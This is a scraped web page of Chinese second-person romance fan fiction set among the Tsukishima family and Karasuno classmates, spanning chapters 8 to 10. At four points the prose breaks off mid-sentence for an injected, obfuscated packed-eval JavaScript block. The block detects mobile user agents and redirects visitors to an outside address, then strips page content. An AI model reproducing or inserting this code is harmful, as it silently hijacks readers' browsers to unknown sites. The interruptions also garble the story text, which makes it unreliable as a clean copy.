周末的时候,妈妈也会去买这家的年糕,因为知道你喜欢。
吃掉两块年糕,确保肚子不会再咕咕叫着抗议以后,你走到岛台边,提出想要帮忙。
“其实…我还蛮擅长切菜的。”
看你一脸认真,又一副跃跃欲试的模样,月岛妈妈觉得既好笑又欣慰。
从某种意义上来说,她也是看着你长大的,初次见面的时候还只会躲在妈妈身后的小女孩,转眼间就长成了大孩子,再过个几年,就要彻底变成大人了吧。
尽管如此,现在的小雪还是会用“擅长切菜”作为帮忙的理由,看来也没有自己想的那么成熟嘛。
嗯,还是这样比较好。
作为父母,都是希望孩子能慢点长大的。
“那就辛苦小雪和我一起了。”
月岛妈妈找出围裙替你穿上,又将背后的系带扎成一个蝴蝶结,细细的绑带无意间掐出少女的腰身。
为了方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976385|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便帮忙,你只穿了校服里面的衬衫,棉花似的长卷发被你提前扎成丸子垂在颈后,胸前腰间的白色衬衫都被粉色围裙保护的很好。
见月岛妈妈还看着你,你又将衣袖挽起,露出光洁的小臂,双手握拳放在胸前,笃定道:
“我准备好了,月岛阿姨。”
月岛妈妈…双手捂脸。
不行,再这样下去,那个荒唐的念头又要冒出来了!小雪已经长大了不能再跟她开这种玩笑了!
是这样的,在你刚搬过来的时候,因为年纪还小,长相又可爱,明明双亲都是日本人却总被误认为是混血,除了发色和瞳色,五官也是造成这种误解的原因之一。
而在大人眼中,你总是‘认真’思考一番再一字一句说话的风格,更是乖巧到不行。
家里只有两个儿子的月岛妈妈,虽然没有什么求而不得的执念,但对像洋娃娃一样可爱的小女孩,抵抗力也是大大下降。
两家人熟络之后,不仅经常邀请你到家里玩,还在征得雪村女士同意后,给你拍了很多很多照片。
以至于看到这些照片的人都怀疑,月岛家是不是有三个孩子,虽然女孩…长的跟家里人不太像。
等你渐渐长大,尤其是上了初中,这样的机会就越来越少了。
在听说附近本田家的小儿子和住在他们隔壁的村上家的女孩,瞒着两边的家长偷偷交往三年,已经准备结婚以后,月岛妈妈产生了一个想法。
非独生家庭的优势就在这里体现出来了。
她有两个儿子,双倍胜算!
可是…
考虑到你的性格,怎么看都是相对开朗的明光更合适。
唯一的问题是,明光比你大三岁,放在成年人大社会里这点差距基本可以忽略不计,但眼下你们一个未成年,一个刚刚上大学。
更别说明光很有可能也在大学的时候谈到了女朋友。
那…萤?
月岛妈妈脑中浮现出自家小儿子的脸,又看了看安静切菜的你。
虽然算不上话多,但萤的话也没到特别少的程度,最多是有些冷淡,也算不上孤僻,作为母亲她是了解自家儿子的,其实有些时候,萤也会有让人出乎意料的热心呢。
但是吧…
那孩子大部分时候,确实有些别扭,而你的话…虽然从小就是问什么说什么的乖小孩,但好像很少听你说起自己的心情。
从某种意义上来说,在表达情绪这方面,你比萤还要别扭!
一想到要把你们两个凑到一起,月岛妈妈仿佛看到两尊沉默对坐的雕像。
会被放博物馆展展出那种!
最后,月岛妈妈无奈得出结论。
双倍胜率有什么用,还不是毫无胜算。
算了算了,孩子们的事情就随他们自己去吧,她还是先…
诶?
“小雪…全部切完了?这么快!”
不仅快,还又快又好!
连台面都干干净净!
你被夸的有些不好意思,因为月岛阿姨的惊讶完全不像演的,这让你的虚荣心得到很大程度的满足。
“还有要切的吗?月岛阿姨?嗯…其实肉类和鱼虾之类的我也会处理,不放心的话我可以先…”
“太厉害了小雪!”
“还、还好吧。”
你被夸的有些不好意思了,“但是我只会备菜,进锅的话会把食材毁掉。”
说着,刚刚翘起的尾巴又耷拉下来。
“这样也很厉害了!”
然后又翘起来。
·
等月岛明光进门的时候,看见的就是还穿着围裙的你。
因为这副打扮,又因为改变的发型,他一时没认出来。
“是小雪呀,几个月没见就认不出来了呀?”
在妈妈的提醒下,月岛明光这才恍然大悟,“好久不见啊,小雪。”
“好久不见,明光哥。”你朝他点点头。
“小雪在乌野过的怎么样?”
8. 不道歉
月岛明光知道你和月岛萤一样,高中都选择了乌野。
“嗯…和想象中不一样。”
“哦?”月岛明光有些诧异。
“有种还在上初中的感觉。”
听到你的解释,月岛明光笑了,“是因为还和阿月他们同班对吧?也是呢,明明已经上了高中,结果一抬眼还能看到初中同学,的确会让人有种初中还没毕业的感觉。”
你点点头,虽然不只是这个原因。
“跟萤最近相处的还好吗?我记得你们以前关系很好来着。”
那得是很久很久以前了吧。
你闭着嘴,不知道该回什么。
你其实有点好奇,月岛明光是怎么知道你跟月岛同班的。
好吧,说不定是因为开学的时候你告诉了妈妈,妈妈又告诉了月岛阿姨,月岛阿姨又顺便告诉了月岛明光...
但月岛明光的话还有另一层意思,那就是你们曾经关系亲近,可上了初中,不知道为什么就很少见你们跟对方说话了,甚至给人一种比陌生人还疏远客气的感觉。
因为你的性格,月岛明光倒是没往害羞或者避嫌的方面想,他只担心你们是不是有什么矛盾,而以他的立场又不好过问。
更别提自从那件事以后,他自己跟月岛也很久没有坐下来、好好聊过一次了。
“虽然是同班,但是时间都碰不到一起,所以没什么机会说话。”
你没有撒谎,但你也没说你和月岛坐前后桌的事情。
所以即便是同班同学,但因为各种原因完全找不到机会交流的理由,在你们之间其实并不成立。
只是月岛明光并不知道这件事情。
他了然的点了点头,不知是看出你无意继续这个话题还是出于别的原因,转而问起了你身上的围裙:“小雪在帮忙吗?”
你点点头。
月岛妈妈听到他这么问,顺势就夸了夸你,“小雪现在很厉害哦,比只会给妈妈帮倒忙的孩子强多了~”
“不要在小雪面前说这些啦。”月岛明光笑着抱怨。
月岛萤走到玄关的时候,正好听见这句话,他站在门口,过了一会才坐下换鞋。
月岛明光听到动静。
“肯定是萤回来了。”
说着就要去开门。
而你也顿时冷静下来,说自己还是先把围裙脱下来。
你默默走到挂围裙的地方,月岛妈妈还在做饭,你刻意隐藏自己的存在感。
你也不知道自己在尴尬什么,但当听见开门声,又听见月岛的声音自屋内传来时,你越来越急,反而把绑带越扯越紧。
不听话的系带拉扯着手指,勒出红色的印痕,你全然不觉疼痛。
你听到月岛妈妈跟月岛打招呼,又听见慢慢靠近的脚步声,连忙低头,希望两鬓的卷发能帮忙挡住侧脸。
月岛妈妈终于注意到你不对劲,“怎么了小雪?是脱不下来吗?要不要帮忙?”
你其实都快出汗了,但嘴上还说不用。
“没关系,快解开...”
了字还没说出口,就碰到了一节微凉的手指,手指的主人周身还带着户外的冷空气,冷冽中夹杂一点清香。
所有人都安静了下来,与此同时你的手也已经放下,为了不扰乱身后那人的动作。
你抿着嘴唇,吞咽都小心翼翼,全部的神经都用来维护呼吸、控制心跳。
直到围裙解开,系带垂落,像只猫爪子一样小心翼翼的挠了下你的手背。
你微微一颤,转身想要道谢——
“谢谢明…诶?”
怎么会是…
看清是谁替你解开围裙,你呼吸都停住了。
月岛没接你的感谢,垂眼看你,眼神和语调一样平静:
“不脱下来吗?”
你控制着动作,尽量自然的把围裙取下,但在把脑袋从挂脖钻出来时,还是不小心被垂在脑后的发髻挂了一下。
还好只是一下。
本该避免麻烦的围裙,此刻却成了制造麻烦的存在。
你脱下围裙,拿在手中,就看到月岛朝你伸手,而后无比自然的接过,又随手挂在一旁的挂钩上。
月岛妈妈不知道为什么,笑的特别开心,让你们赶紧去客厅聊天,她这边马上就好。
你巴不得快点离开现场,虽然月岛已经回来了,但月岛明光也在,有他在的话就不会——
“明光陪我聊聊天吧,妈妈有好多问题迫不及待想要问你了呢。”
一边说,还一边朝大儿子使眼色。
月岛明光当即领悟。
“那萤和小雪就先去客厅吧。”
“嗯。”月岛萤毫不在意的应声,然后就朝客厅走去。
你心情复杂,但也只能跟上。
最后还是只有你跟月岛坐在客厅,虽然坐在不同的沙发上,但距离不算远,不会显得太刻意。
电视里放什么你无心去看,但你突然听见月岛很小声的叹了口气。
啊,不会是在想刚才的事情吧。
是在嫌你笨手笨脚吗。
还是觉得被妈妈误会了跟你关系好,很烦躁。
你还没得出结论,就听他突然开口:
“是不是又在觉得我讨厌你了?”
“才没想你。”
你本意是反驳,结果说了句更有歧义的话。
还没来得及解释,就听见一声轻笑。
你双手绞着裙子,内衬彼此摩梭发出只有你听得见的簌簌声,外侧的硬布则无声轻刮着手指,你甚至想一头砸在桌面上,再也不醒来。
“既然不会说谎,不如干脆承认。”
不知道是不是晚饭前的对话打断了原本尴尬的节奏,晚饭的时候你倒是没有最开始的不自在了,哪怕被安排坐在月岛旁边的位置。
你们都不是话多的人,所以就算彼此之间没有任何交流,也没有引起注意。
但你不知道的是,月岛妈妈和月岛明光在看到下午的那一幕以后,就默认你和月岛有着独特的亲近方式了。
因为家里只有你一个人,月岛阿姨让月岛送你回去,你刚想说不用,结果就看到已经走到门口的月岛。
这让你还怎么拒绝。
他怎么突然这么热心了,又是替你解围,又是乖乖听妈妈的话准备送你回家。
啊...说不定就是故意乖乖听话,为了避免又被人怀疑你跟他在吵架。
也是,客客气气的相处,比会吵架的关系,似乎更像根本没有关系的距离。
想到这里,你安心下来,但莫名又不甘心。
可你也不知道自己在不甘心些什么。
回去的路上,你一直低着头看路,不可避免的看见两道被过分拉长的身影。
你看的出神,本来以为安静会持续到最后一刻,却突然听见月岛说:
“如果是在等我道歉,劝你还是放弃。”
你猜到他在说早上的事,方才平静下来的心情又有了起伏。
而月岛毫无搅乱平静的自觉性,甚至继续推波助澜——
“我是不会跟你道歉的。”
“下一次,我还会这么做。”
你终
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976386|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于是没忍住,气愤的瞪着他。
他开始还没在看你,过了一会,等走到你家门口,才面对你,露出一个无害的笑容,“那——晚安。”
你很清楚这个笑容,他在嘲讽人的时候,惯会这么笑,配合讽刺的话,看的人更生气了。
但是...
晚安,算什么讽刺?
就算月岛还在这里,这话你也是问不出口的,更何况他在留下一句晚安以后,就一走了之了。
你知道了。
肯定是猜到你会因为他的话睡不着觉,才故意说什么晚安的!
虽然不想承认,但事实上,他的确成功了。
但你完全不知道,开学以来一直刻意保持着安全距离的你,只是做错了一件事——一件本意也是帮助的事,为什么就要被他这样敌对?
对了,哪怕是你没做错的时候,他也讨厌着你,而且不是以前那种默默讨厌,那种只是因为关系一般、所以单纯的不喜欢。
而是有意表现出来的讨厌。
只是不小心靠近了一点,有必要皱眉吗。
明明是美里问的问题,为什么表现的像是你说错什么话一样,还拦着小忠不让他帮忙。
明明...只是不小心被排球部的人,知道你们的关系而已。
根本算不了什么关系的关系,有名无实的所谓发小。
到底是为什么...为什么要这么混蛋啊。
·
第二天早上,你起晚了,虽然不是最后一个到教室,甚至不是到的晚的那批。
至少坐你前面的人就还没来。
翻来覆去一晚,你终于得出结论。
没有为什么。
有些人就是会在升入高中后性情大变,更何况月岛变的也不是性格,只是对你的态度。
也许之前他一直在忍耐,为了不和你扯上关系,连讨厌都忍耐着没有表现出来。
而现在,他决定放弃这些顾虑。
不过...他说‘下一次还会这么做’——这句话又是什么意思?
下次还会的前提,是还有下一次吧?
难道他决心要开始通过找茬来吵架?!
月岛是这么无聊的人吗?到底图什么…
“雪村。”
“...干嘛。”
不知何时来到座位上的月岛听到这声充满警惕的应答,没有转身,只是漫不经心的回头,抬手将一小叠试卷放在你桌上。
“随堂测验试卷。”
毫无波动的语调和他本人一样淡定。
你默默咬牙,没有说话,从那堆试卷里找出属于自己的那张,转身递给后桌的小松美里,自己则趴伏在桌子上,试图订正试卷——
结果连亲手写下的答卷都跟你作对,满是红圈的试卷根本无错可纠。
你愤怒的盯着这张仿佛在嘲笑的你的卷子,几乎能从单薄的纸面上看到一张同样毫无破绽的脸。
“有什么问题吗,雪村?”
老师不知何时出现在身后,一脸疑惑的看着你。
“没、没有。”你打了个磕巴。
“那这道题你来讲解一下吧,你跟月岛...”
“没有吵架。”
教室里顿时安静,连写字声和翻页声都骤然消失。
老师眨了眨眼,怀疑自己出现了幻听。
就在所有人的注意力都被你夺走时,有人在心里叹了口气,当然,面上依旧毫无破绽。
“虽然不知道雪村你跟月岛有什么矛盾,但是老师想说的是...你们是本次随堂测验唯二的满分。”
9. 约会?
你听到有什么东西噼里啪啦碎了一地。
原来是你自己。
哦,那没事了。
内心翻滚了一早上的混乱在满室的哄笑声和老师并不严肃的呵止中结束,你不记得自己是怎么把解题过程讲述出来的,只知道即便老师已经走去了讲台,那些探究的视线还没有完全消失。
甚至于下课以后,还有人来火上浇油。
“喂,月岛,别欺负小雪啊,你看她都被你吓成什么样了。”
从某种意义上来说,小松美里的确道出了真相。
但她说这句话,本意也只是替你缓解尴尬,顺便把锅甩到月岛头上。
“阿月才不会欺负小雪。”山口难得有些不满,也许是知道小松美里不是那么容易被打击到的人。
“哈,谁知道。”小松美里今天铁了心要给月岛身上泼点水,至于是不是脏的,别管。
也许是被你方才一连续的糗态取悦,月岛居然没有反驳,更没有用他最擅长的讽刺回击,明明没戴耳机,却坚持扮演着没有听力者的角色。
“还好吗?”
山口看你从下课起就一直趴在桌子上,连掩饰都放弃了,想来刚才的状况对你打击不小。
“嗯...”你有气无力道。
看着在课桌上摊开,因为窗外透进来的阳光仿佛长出毛绒绒的纤毛的白色卷发,山口极力克制住了朝柔软处伸手的冲动。
转而安慰起卷发的主人。
“过不了多久,大家就忘记刚才的事情了,所以我觉得…小雪你不用放在心上。”
听到这个说法,你终于转头,把对准窗外的脑袋翻了过来,一缕打着卷的白发自头顶垂下,经过眉心,搭在鼻梁上,最后落在贴着桌面的脸颊旁边。
蓝莹莹的眼睛背对着光,莹润通透搭质感未减分毫。
尤其,当这双眼睛盛满好奇,望向某处时——
“真的吗?”
只听声音,你似乎振作了些许,因为山口的鼓励。
“大概…因为我也经历过这种事情,事后回想起来,才发现除了自己,根本就没有人记得嘛。真是松了口气呢。”
山口如释重负的笑着,仿佛又变成话中的那个自己,感同身受的庆幸着。
“好,”你努力撑起身体,这次是真的要振作起来了,而且没忘记跟给你这份力量的人道谢,“谢谢你,小忠,还有我…呃…”
山口很擅长体会他人的感受,你的纠结自然也感染到了他,此刻的他跟你一样紧张,并且开始犹豫要不要打断你,以免你为难。
“觉得你说的没错。”
山口又松了口气,这次是为了当下的自己和你。
“不客气,小雪。”他笑着说。
你悄悄回过头,不去看他,眼中的一点不甘隐没在阴影中。
‘我相信你’
你想说的,其实是这个。
怎么就说不出来呢。
·
下午放学,你没有直接回家,而是去了趟图书馆。
虽然还是开学阶段,但在图书馆温书的学生也不少,不过你的目的也不是学习功课,而是借阅区里的藏书。
按照分类搜寻,很快就找到感兴趣的书——一本海洋生物科普。
虽然你大致能猜到里面的内容,但这本书你的确没有见过。
同样的知识,出现在不同的书上,就跟听不同的人讲同一个故事一样——都是全新的体验,说不定还能发现新的细节。
抱着半本牛津词典厚的书,你找到一张相对空旷的阅览桌,轻轻拉开椅子,把书放在面前点桌子上,翻开以后,惊喜的发现里面居然还有插图!
不是照片,是风格独特的手绘!
栩栩如生的线条仿佛要浮出纸面,在空气中起航,伴随着撰写者独特的讲述,你完全入迷了。
嘴角不自觉勾起,悄无声息的,惬意摇晃着脑袋——但幅度很小,只有垂在脑后的发丝微微晃动。
如果不是被你吸引,视线一直落在你身上,恐怕没人会发现这个有些幼稚、却因为动作者毫无自觉而显得有些可爱的举动。
“嗯哼。”
似乎是有人咳嗽了一声,也可能只是喉咙痒。
突兀的声响如浪花般惊起又消散,没有在你心上掀起更多波澜。
第二天课间,印象里好像是叫三枝千绘的女生走到桌前,带来有人在教室门口找你的消息。
你摘下有线耳机,顺着她手指的方向看去,是一个陌生的男生,个子挺高的,但又不像月岛那样高的过分。
如果月岛出现在门口,头顶和门框留出的空隙大概要少一拳的距离。
看到你的视线,他略显羞涩的举了举手,只放在胸前,笑起来的样子倒是让人看不出尴尬。
“谢谢你,三枝同学。”
留下这句话,你就朝教室门外走去。
“居然记得我的名字欸...”留在原地的三枝千绘有些惊讶,不自觉的感慨被坐在后方的小松美里收入耳中。
“这孩子比想象的擅长社交呢。”小松美里一脸欣慰。
同社团的三枝千绘忍不住吐槽:“你是她妈妈吗。”
你很快回到座位。
“怎么这么快就回来了?”小松美里大咧咧的跟你打听,看的一边的三枝千绘嘴角抽搐。
是关系好到打听八卦都不需要铺垫了吗...
“是昨天在图书馆落下的借阅卡,被他捡到了。”
你简单解释道。
“没别的了?”
喂喂喂...雪村同学都回答你了,别得寸进尺好吗。三枝千绘内心吐槽不断。
“问我周末要不要一起去海洋馆。”
“欸?!”三枝千绘和小松美里同时发出惊讶的声音。
你这才发现,这位带话的同学还站在小松美里旁边。
“你答应了?”小松美里问。
“嗯。”你轻声应答,“我本来也打算去,他说不会打扰我,如果不习惯就分开走。”
“...你真的比我想象的擅长社交。”
这话是她今天第二遍说了,但你并不知情。
“本来也不是社交无能...”你无力辩解着。
只是有些不擅长的场合罢了。
比如说真心话。
默默听完你们的对话,三枝千绘突然道:“所以,雪村同学其实不认识新谷前辈是吗?”
你和小松美里同时看向她,你点了点头。
“你认识他吗?人怎么样?居然是前辈...啊!不是那种被同年级的女生看穿真面目只能找学妹下手的花花公子吧?”
听到小松美里一路滑向糟糕方向的猜测,三枝千绘有点无语,“虽然我也只是听说,但是...新谷前辈应该不是那种人,二年级的学姐对他评价都还不错。”
“虽然...是很受欢迎啦,不过不是花花公子,恰恰相反,虽然经常被人告白,但他一次也没接受过,给出的理由也都是‘很抱歉,感谢你的喜欢,但我没有喜欢的人,也没有恋爱的打算。’这样的话。”
“所以我还挺惊讶的,他居然会邀请不认识的女生一起去海洋馆。”三枝千绘总结道。
小松美里郑重其事的点点头,“暂时是个好人,而且忽略人品的话,脸确实不错,支持你拿下他!”
说这句话的时候,她如炬的目光落在你身上。
“不需要这种支持。”
说完,你默默转了回去。
然后就看到前方空空如也的座位。
他是什么时候走的?
是嫌你们太吵了吗?
·
开学以来的第一个周末,你没有浪费。
但和过去相比,也没什么特别的,哪怕在你的志愿者服务开始之前,跟据说很受欢迎的新谷学长见了一面。
他看到你挂在脖子上的工牌和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976387|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
志愿者服装也很惊讶,而后自嘲般的笑了笑:
“难怪...雪村同学会这么干脆的答应我呢,不过我可以听你的讲解吗?”
“当然,”你不知道他为什么这么问,“新谷前辈也是游客,我负责给所有游客讲解。”
他无力的捂住心口的位置,在你询问之前,伸手挡在你面前:“没关系,不用在意我,雪村同学。”
啊,他看起来有点难过。
你大概猜到怎么回事,其实...你不讨厌他呢。
“可以叫我小雪。”
“欸?”新谷正一猛然抬头——“真的吗?”
你点点头。
“那、那小雪也可以...”
“我还是叫新谷前辈吧。”毕竟是学长。
“啊...好。”
也许是你的示好起到了作用,新谷学长离开的很高兴,临走前还朝你挥了挥手。
你点点头作为回应,而后继续跟缠着你问问题的小朋友们讲解你知道的知识。
关于大海里的美丽存在,关于时间与庞大生灵。
回到家,妈妈已经准备好了晚饭。
“说起来,阿月过来找你了。”
“啊?”你吓了一跳。
妈妈也很惊讶,“怎么这么大反应?”
“什、什么时候?”你喝了口水压惊,也跳过这个难以回答的问题。
“下午的时候,不过也没什么大事,就是来送上次你落在他家的发圈——喏。”
妈妈从口袋里将替你保管好的发圈拿出,又放在桌面上,推向你。
你默默收下。
“但你不是不在吗,妈妈就说你去海洋馆了。”
你点头,有点庆幸自己下午不在。
周日你哪也没去,就待在家里看从图书馆借来的那本科普书,时间在不经意间逝去,不知不觉就到了晚上,不知不觉就睡着,周末就这样结束了。
周一一早,你依旧是一个人去学校,只是在半路上遇见了一个说熟悉也算不上,但要说陌生也未免失礼的人。
“啊,”他惊讶的抬头,一看见你就朝你挥手,并露出一个过分真诚的笑脸,“早上好,小雪。”
他不是一个人站在门口的,身边还有两个不认识的男生,应该是他的同学或者朋友,总之都是你不认识的人。
“你跟人家很熟吗,擅自叫女生昵称也太轻浮了。”友人古怪的皱着眉,不赞同的看向他,但比起鄙夷,更多的是意外。
“没有啦,是小雪同意我才这么叫的。”他毫无芥蒂的一边跟旁边的人解释,一边介绍你们认识。
出于礼貌,你还是跟两位二年级的前辈问好,虽然他们让你不用这么拘束,但你觉得你没有不拘束的理由,毕竟你们本质上既不是朋友,也没有其他的交情。
但不知道为什么,对方都一副要把你当自己人关照的样子,虽然没有恶意,但你还是感受到些许不自在。
“那、那我们就先走了!今天不是你值日吗三井?”说着,新谷就推着其中一位名叫三井的学长匆匆离开了。
一边走,一边回头朝你挥手道别。
你觉得他一定是发现了什么。
是个温柔的人啊。
于是你也举起手,轻轻晃动,作为回应,直到他不再回头看你,才把手放下。
“呀。”
有人小声凑到你身边,你反应迅速的回头,看到的是笑的有点不好意的山口。
这让你开始怀疑,恶作剧的人到底是不是他。
“早上好,小雪。”
“早上好,小忠。”
还有月岛。
你看了看站在一边一言不发的人,并不想跟他道声早安,哪怕周末的时候他还帮忙把你落在他家的发圈送了过来。
你才不是那么好打发的人。
“小雪是在跟人聊天吗?怎么一个人站在门口。”山口问,仿佛只是寻常的关心。
10. 走散
“嗯。”你点点头,但不知该如何介绍新谷的身份,在你看来你们实在没什么关系,“一个认识的人。”
“这样。”山口平常的回应道,“我们一起走吧。”
你默默走在他身边,始终没有抬头看月岛一眼,更别说跟他问好。
山口倒是一直在找他聊天,月岛和往常一样不算过分冷淡,也没多热情的给与回应。
从某种意义上来说,你这个才是被晾在一边的人,见此情状反而松了口气。
虽然你有意表明立场,但如果刻意忽略他,又有点像在欺负他,还是小孩子才会用的那种,故意不跟某个人说话的方式。
山口默默观察着你,有意无意的,在聊天的间隙朝你送来一道目光,月岛看到了,没有点破。
这不是刚才那种场合,他不会做多余的事。
如果山口的明知故问算说谎,那么他就是这个谎言的帮凶,不,说是教唆者也不为过。
当看到你跟几个不认识的男生站在一起,似乎还在跟那个来教室找过你的人交谈时,两人都沉默了。
但只有山口的沉默来的比较明显,月岛本来也不怎么说话。
大概除了你,全世界都看得出来山口对你的喜欢。
看到那群男生在你面前推搡彼此,其中一个还露出那种傻兮兮的笑脸,月岛忍不住皱眉。
“既然这么在意,过去问她不就好了。”他冷不丁开口。
山口惊讶的看了他一眼,又收回视线,垂眼看着面前的道路。
“不,没什么好问...”他苍白的解释着。
“如果是你的话,那家伙肯定什么都会说。”
月岛兀自对你下了判断,似乎是以一种相当了解的态度,这让山口更惊讶了,比他听到月岛主动提起你的事情,更令他诧异。
其实他一直有一种猜测,月岛不是在回避你,而是在回避,或者假装,你们之间确实存在,但无论是谁都在视而不见的过去。
所以他不喜欢被人知道你们很早就认识的事实——你大概是这样以为的吧。
但山口却知道,在被他向旁人提起身高、成绩这些各种大部分都会感到骄傲的事情时,每次都会用‘很烦’来表示一点不满的月岛,唯独在被说起跟你的关系时,什么也没说。
他不觉得这是一种更强硬的抵触,或者单纯的不在意,如果真的不喜欢,月岛不会在言语上有所克制。
所以很矛盾。
月岛在关于你的事情上,一直表现的很矛盾,一点也不像他。
就比如现在,他相信如果他反问月岛是不是也很在意他们刚才看到的事情,得到的回复一定是毫不犹豫的否定。
但偏偏是执着于表明不在意立场的月岛,在他决定保持沉默的时候,告诉他,不要沉默,也不要害怕被拒绝。
‘如果是你,那家伙肯定会...’的前提是,把如果前面的人换掉,会得出不同的答案。
而这也意味着,在说出这句话之前,他就已经做过这种假设了。
阿月...也在意着你。
啊,他一直知道的啊。
阿月也肯定是知道自己对你的感情,才会这样安慰他吧。
如果装作一无所知的样子,享受着朋友的谦让,就算...就算真的得到了什么,他又算怎么回事呢。
想到这里,山口攥紧了拳头,淡声道:
“阿月的话,有点奇怪。”
月岛沉默了一会,调整了一下背包肩带卡在肩上的位置,“啊,是吗。”
他没有否认。
但语调还是和平时一样冷淡。
“明明阿月才是更了解小雪——”
“不,”他平静的打断了山口没说完的话,但过分迅速的截断反而让这份平静失去信任,“我一点也不了解她。”
就在这时,新谷推着一个男生走了,临走还朝你道别,你也挥手回应着。
看样子你们相处的不错。
山口最终还是朝那个背影走了过去,在即将靠近的时候,调整了心情。
而得到的结果,也和月岛说的一样。
你没有隐瞒,但也没有给出准确的定义,也许是因为你跟那个人还没有亲近到可以说是朋友的程度。
而且...你似乎还在生月岛的气。
山口无奈的想着,应该是因为便当的事情吧。
看上去对什么都不太在意的小雪,也有固执的时候呢。
但是...让你固执的到底是什么呢。
他突然希望自己也能像月岛说的那样,一点也不了解你了。
至少这样,就可以心安理得的一无所知了。
回到教室,你跟早早坐到座位上的小松美里打了声招呼,就准备开始上课。
因为下午还有义务劳动,你决定趁午休的时候去图书馆还书,把借阅卡和书本交给负责管理的同学,看她在记录册上填上归还日期,你就离开了图书馆。
在从图书馆走回教室的路上,你看见一个熟悉的背影。
他正不紧不慢的朝教室走去,一个人。
也许是因为还在午休时间,这条走廊里除了你和月岛,再没有其他人。
你不自觉放慢了脚步,但不知该继续向前,还是干脆绕路。
后者显得多此一举,但这样不远不近的跟在他后面,就像是你在跟踪他似的,哪怕你绝对没有这种意思。
最后你干脆站在原地,等月岛的背影消失在楼梯口,才挪开步子、朝着教室走去。
除了树影间偶尔传出的鸟鸣,就只剩下你自己的脚步声,你逐渐放松下来,直到经过某人消失的拐角,本该消失的人就这么出现——
你吓得后退一步。
刚刚还靠在墙边守株待兔的人看到你的反应,慢悠悠的朝你走来。
在三步之外,停下。
“你在干什么。”他问。
这话不该你问他吗...你默默想着。
“回教室。”你尽量维持着平常心,似乎这样就能掩饰你下意识的后撤。
“站在原地也能回教室吗。”
不等你回答,方才不留情面的拆穿你的人又善解人意的主动翻篇,“如果是因为上次说的话...你就当没听过吧。”
没听过...是他后悔对你那样说话了吗?
所以他是在道歉?
想到这里,你小心翼翼的抬头,想透过质地坚硬的镜片和毫无波动的眼神看出一点内疚,但很可惜,你什么都没看出。
不是道歉,又为什么要这样说。
“总之,跟以前一样就好,你也习惯那样吧。”
月岛的话说完了,但没有转身就走,他在等你回答。
你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976388|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张嘴,却陷入嗫嚅。
就在这时,楼梯下方有人走了上来。
“啊...小雪。”
你转头看去,是新谷前辈,虽然是路过,但这个时机...
你抬头看了看月岛,不知他是已经收回视线,还是自始至终都没有朝陌生人那边看一眼,哪怕这个陌生人用一种略显亲昵的说法叫了你的名字。
“新谷前辈。”
在听不出情绪的问候中,新谷正一已经走到你们身边。
“打扰你跟朋友聊天了吗?”他像往常一样笑着,看上去有些不好意思,还有些过分刻意的自然。
“不...”你下意识否认,不知是该否认他说的打扰,还是他说你和月岛是朋友。
“我们...”你莫名不想说出月岛的名字,哪怕新谷前辈也没可能认识他。
“难道...你们在交往?”
“欸?”
你眨了眨眼,怀疑自己听错了。
看到你不加掩饰的惊讶,新谷正一就知道自己想错了,不免松了口气。
“抱歉抱歉,就是看你们氛围有点...打扰了。”说着,新谷正一加快脚步,不等你或者月岛说点什么,就匆匆离开。
等慌乱的脚步声从楼道消失,连回响也彻底不见,月岛才开口问你:
“不解释吗?”
“解释什么?”
月岛皱了皱眉,似乎对你的回答不太满意。
而你也后知后觉的反应过来他说的是什么,“他应该没有误会什么。”
“是吗。”他像是浑不在意。
你却突然有些无所适从,抿着嘴,终于憋出一句结束语——
“没什么事的话,先走了。”
说着,你越过他,朝楼上走去,而就在你踏上第三级台阶的时候,你听见身后传来衣物摩挲的声音,以及缀在后方的脚步。
跟...以前一样吗。
那是多久以前呢。
陷入思虑的你没有意识到,你们就这样,以一种接近于并肩的距离,一起走回了教室。
直到回到座位,你听见小松美里惊讶的声音:
“你们和好了?”
你们?
你看了看她,一时没反应过来。
